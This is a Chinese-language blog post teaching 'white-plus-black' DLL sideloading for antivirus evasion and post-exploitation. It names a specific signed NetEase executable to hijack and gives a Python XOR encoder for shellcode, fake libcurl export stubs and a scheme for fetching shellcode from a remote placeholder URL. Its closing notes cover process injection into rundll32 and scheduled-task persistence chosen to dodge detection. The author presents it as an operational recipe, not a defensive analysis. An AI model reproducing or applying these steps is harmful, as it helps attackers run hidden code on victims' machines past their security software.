白加黑实战篇

文章最后更新时间为:2024年04月10日 23:21:38

最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。

1.白加黑原理

1.1 什么是DLL

动态链接库 (DLL) 是一个模块,其中包含可由另一个模块 (应用程序或 DLL) 使用的函数和数据。DLL 可以定义两种类型的函数:导出函数和内部函数。 导出的函数旨在由其他模块调用,以及从定义它们的 DLL 中调用。

DLL 提供了一种模块化应用程序的方法,以便可以更轻松地更新和重复使用其功能。 当多个应用程序同时使用相同的功能时,DLL 还有助于减少内存开销。这也就是DLL的实际应用场景

1.2 加载DLL的两种方式

加载DLL的可以有两种方式动态加载和静态加载,动态加载,下面我们编写一个dll,实现一个

首先在vs中创建动态链接库项目

2024-04-10T15:02:31.png

可以看到有如下目录结构,可以看到有framework.h、pch.h、dllmain.cpp、pch.cpp四个文件:

2024-04-10T15:03:03.png

其中

  • framework.h 文件用于包含项目中需要使用的头文件,可以看到已经默认包含了windows头文件

2024-04-10T15:03:13.png

  • pch.h 是预编译标头文件,dll的导出函数应该在此处定义

2024-04-10T15:03:21.png

  • dllmain.cpp 文件包含程序的入口点,在 dllmain.cpp 中实现的在 pch.h 中定义函数,当然也可以在其他 cpp 文件中实现,如 pch.cpp 等

    • DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
    • DLL_THREAD_ATTACH: // 当线程被创建时调用
    • DLL_THREAD_DETACH: // 当线程结束时执行
    • DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行

2024-04-10T15:03:33.png

1.2.1 动态加载

生成 windows 空项目

2024-04-10T15:03:44.png

然后创建a.cpp文件

#include <iostream>
#include <Windows.h>
using namespace std;
int main(){
    // 加载 DLL
    HINSTANCE hDLL = LoadLibrary(L"DemoDLL.dll");  //动态加载dll链接库
    if (hDLL == NULL) {
        std::cerr << "Failed to load DLL." << std::endl;
        return 1;
    }
    // 获取 DLL 中的函数指针
    typedef void (*DllHiJackFunc)();         // 定义Dllfunction函数类
    DllHiJackFunc dllHiJackFunc = (DllHiJackFunc)GetProcAddress(hDLL, "DllHiJack");
    if (dllHiJackFunc == NULL) {
        std::cerr << "Failed to locate function." << std::endl;
        return 1;
    }

    // 调用 DLL 中的函数
    dllHiJackFunc();

    // 卸载 DLL
    FreeLibrary(hDLL);
}

2024-04-10T15:04:23.png

此时如果删除DemoDll.dll,一般情况下程序会奔溃退出,而不会弹窗

1.2.2 静态加载

将pch.h、demoDLL.lib、DemoDLL.dll复制到当前loadDll的项目根目录文件夹下面

lib 文件中包含一些索引信息,记录了 dll 中函数的入口和位置,lib 用于在开发编译时使用,dll 则在运行时使用。

在开发程序时使用 lib 需要两个文件:

  • .h 头文件,包含 lib 中说明输出的类或符号原型或数据结构。
  • .lib 文件。

如果你将导出函数定义在 pch.h 文件中,那么开发时就使用如下代码包含这两个文件,当然不要忘记将这俩个文件复制到 dlltest 项目下:

#include "pch.h"
#pragma comment (lib, "Dll3.lib")

这样在开发时就可以直接使用 Dll3.dll 中的导出函数了,不需要使用 LoadLibrary 导入 dll,程序执行后会自动寻找相应的 dll 并导入。

#include <iostream>

// 引用dll的函数定义的头文件
#include "pch.h" 

// 加载dll的lib库文件
#pragma comment(lib,"D:\\Desktop\\cs\\20240401白加黑\\LoadDll2\\DemoDLL.lib")  

// 声明 DllHiJack 函数
void DllHiJack();

int main() {
    // 调用 DLL 中的函数
    DllHiJack();

    return 0;
}

2024-04-10T15:05:24.png
此时如果删除DemoDll.dll,运行会报错

2024-04-10T15:05:34.png

1.3 什么是白加黑DLL劫持

大部分程序在运行时,都会调用相应需要的dll链接库,我们可以替换这个dll文件,来执行我们自己的代码,这就是DLL劫持。如果可执行文件带了合法签名,则这个可执行文件是在杀软白名单中的,也就是白文件,我们编写一个恶意dll,搭配这个白文件就能绕过杀软检测,所以白加黑通常也就是白exe+黑dll。

当exe需要调用dll时,会去系统搜索dll的位置,默认情况下搜索的优先级如下:

  1. 加载应用程序的文件夹。
  2. 系统文件夹。 使用 GetSystemDirectory 函数检索此文件夹的路径。
  3. 16 位系统文件夹。
  4. Windows 文件夹。 使用 GetWindowsDirectory 函数获取此文件夹的路径。
  5. 当前文件夹
  6. 环境变量中列出的 PATH 目录

上述搜索位置见https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order

2. 首先寻找白加黑的exe和dll样本

3.白加黑实战

这里首先找到网易云音乐的cloudmusic_reporter.exe加载了libcurl.exe,且exe有签名,且exe为64位,完美符合我们的需求。

2024-04-10T15:06:42.png

3.1 下面创建一个远程shellcode

# 将shellcode的二进制文件与0x88异或,然后以16进制保存在文本中

def xor_with_cc(data):
    return bytes([byte ^ 0x88 for byte in data])

def main():
    # 读取二进制文件
    with open("payload.bin", "rb") as f:
        binary_data = f.read()

    # 将数据与 0xcc 进行异或操作
    result_data = xor_with_cc(binary_data)

    # 将结果以十六进制格式保存到文本文件中
    with open("shellcode", "w") as f:
        f.write(result_data.hex())

main()

最终保证http://xxxxx.com/shellcode访问可以得到这个shellcode

3.2 创建一个dll项目,添加导出函数

下面的导出函数是从https://github.com/HexNy0a/SkyShadow工具生成的,直接将其复制到dllmain.cpp中即可

extern "C" __declspec(dllexport) int curl_easy_getinfo() { return 0; }
extern "C" __declspec(dllexport) int curl_global_cleanup() { return 0; }
extern "C" __declspec(dllexport) int curl_global_init() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_perform() { return 0; }
extern "C" __declspec(dllexport) int curl_slist_append() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_init() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_setopt() { return 0; }
extern "C" __declspec(dllexport) int curl_easy_cleanup() { return 0; }

3.3 在dllmain中解决死锁问题

直接导入https://github.com/Neo-Maoku/DllMainHijacking/blob/master/DllMainHijacking/dllmain.cpp中的UNLOOK();函数即可

3.4 执行远程的shellcode

这里采用的是远程访问shellcode地址,然后执行shellcode,代码直接看https://github.com/xf555er/Shellcode_SeparationLoad

代码这里就不放了

4. 其他

4.1 dllmain中执行shellcode的两种方式

  1. 解决死锁问题,然后在当前进程中执行shellcode
  2. 进程注入的方式,比如“通过 CreateProcess 创建一个 rundll32 进程并在其内存中分配内存写入 shellcode,并通过修改其程序计数器 Rip 指向写入的 shellcode 地址,然后恢复线程执行 shellcode。也就是说并没有在 DllMain 中上线而是在其他程序中上线。”

4.2 关于持久化

最好是在白加黑执行过程中同时做好持久化,我喜欢用计划任务,绕过杀软的方式比较多,利用一些小众接口即可,上线后做持久化更容易被查杀

5. 参考文章

1 + 5 =
快来做第一个评论的人吧~